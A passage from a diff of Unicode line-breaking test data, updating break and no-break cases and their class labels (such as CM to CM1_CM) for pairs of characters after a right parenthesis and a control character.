× 0029 × 0020 × 000A ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0029 × 0308 × 000A ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0029 × 0308 × 0020 × 000A ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0029 × 0308 × 000A ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0029 × 0308 × 0020 × 000A ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0029 × 0085 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0029 × 0020 × 0085 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0029 × 0308 × 0085 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0029 × 0308 × 0020 × 0085 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0029 × 0308 × 0085 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0029 × 0308 × 0020 × 0085 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0029 × 17D6 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [16.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0029 × 0020 × 17D6 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [16.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0029 × 0308 × 17D6 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [16.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0029 × 0308 × 0020 × 17D6 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [16.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0029 × 0308 × 17D6 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [16.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0029 × 0308 × 0020 × 17D6 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [16.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0029 × 0030 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [30.02] DIGIT ZERO (NU) ÷ [0.3]
× 0029 × 0020 ÷ 0030 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0029 × 0308 × 0030 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [30.02] DIGIT ZERO (NU) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0029 × 0308 × 0030 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.02] DIGIT ZERO (NU) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 0029 ÷ 0028 ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0029 × 0020 ÷ 0028 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0029 × 0308 ÷ 0028 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0029 × 0308 ÷ 0028 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0029 ÷ 0025 ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 0029 × 0020 ÷ 0025 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0029 × 0308 ÷ 0025 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0029 × 0308 ÷ 0025 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 0029 ÷ 0024 ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0029 × 0020 ÷ 0024 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0029 × 0308 ÷ 0024 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0029 × 0308 ÷ 0024 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0029 × 0022 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 0029 × 0020 ÷ 0022 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0029 × 0308 × 0022 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0029 × 0308 × 0022 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 0029 × 0020 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [0.3]
× 0029 × 0020 × 0020 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0029 × 0308 × 0020 × 0020 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0029 × 0308 × 0020 × 0020 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 0029 × 002F ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0029 × 0020 × 002F ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0029 × 0308 × 002F ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 0029 × 0308 × 0020 × 002F ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 0029 × 0308 × 002F ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 0029 × 0308 × 0020 × 002F ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0029 × 2060 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0029 × 0020 × 2060 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0029 × 0308 × 2060 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0029 × 0308 × 0020 × 2060 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0029 × 0308 × 2060 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0029 × 0308 × 0020 × 2060 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0029 × 200B ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0029 × 0020 × 200B ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0029 × 0308 × 200B ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0029 × 0308 × 0020 × 200B ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0029 × 0308 × 200B ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0029 × 0308 × 0020 × 200B ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0029 ÷ 1F1E6 ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 0029 × 0020 ÷ 1F1E6 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0029 × 0308 ÷ 1F1E6 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0029 × 0308 ÷ 1F1E6 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0029 ÷ 261D ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0029 × 0020 ÷ 261D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0029 × 0308 ÷ 261D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 261D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0029 ÷ 1F3FB ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0029 × 0020 ÷ 1F3FB ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0029 × 0308 ÷ 1F3FB ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0029 × 0001 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0029 × 0020 ÷ 0001 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0029 × 0308 × 0001 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0029 × 200D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0029 × 0020 ÷ 200D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0029 × 0308 × 200D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 200D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 0029 × 00A7 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [30.02] SECTION SIGN (AI_AL) ÷ [0.3]
× 0029 × 0020 ÷ 00A7 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0029 × 0308 × 00A7 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [30.02] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0029 × 0308 × 00A7 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.02] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0029 × 50005 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [30.02] <reserved-50005> (XX_AL) ÷ [0.3]
× 0029 × 0020 ÷ 50005 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0029 × 0308 × 50005 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [30.02] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0029 × 0308 × 50005 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.02] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0029 × 0E01 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [30.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0029 × 0020 ÷ 0E01 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0029 × 0308 × 0E01 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [30.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0029 × 0308 × 0E01 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0029 × 3041 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [16.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0029 × 0020 × 3041 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [16.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0029 × 0308 × 3041 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [16.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0029 × 0308 × 0020 × 3041 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [16.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0001 × 0023 ÷ # × [0.3] <START OF HEADING> (CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0001 × 0020 ÷ 0023 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0001 × 0308 × 0023 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0001 ÷ 2014 ÷ # × [0.3] <START OF HEADING> (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 0001 × 0020 ÷ 2014 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 0001 × 0308 ÷ 2014 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 0001 × 0009 ÷ # × [0.3] <START OF HEADING> (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0001 × 0020 ÷ 0009 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0001 × 0308 × 0009 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0001 ÷ 00B4 ÷ # × [0.3] <START OF HEADING> (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0001 × 0020 ÷ 00B4 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0001 × 0308 ÷ 00B4 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0001 × 000B ÷ # × [0.3] <START OF HEADING> (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0001 × 0020 × 000B ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0001 × 0308 × 000B ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0001 × 0308 × 0020 × 000B ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0001 ÷ FFFC ÷ # × [0.3] <START OF HEADING> (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0001 × 0020 ÷ FFFC ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0001 × 0308 ÷ FFFC ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0001 × 007D ÷ # × [0.3] <START OF HEADING> (CM) × [13.04] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0001 × 0020 × 007D ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0001 × 0308 × 007D ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [13.04] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0001 × 0308 × 0020 × 007D ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0001 × 0029 ÷ # × [0.3] <START OF HEADING> (CM) × [13.04] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0001 × 0020 × 0029 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0001 × 0308 × 0029 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [13.04] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0001 × 0308 × 0020 × 0029 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0001 × 0001 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0001 × 0020 ÷ 0001 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
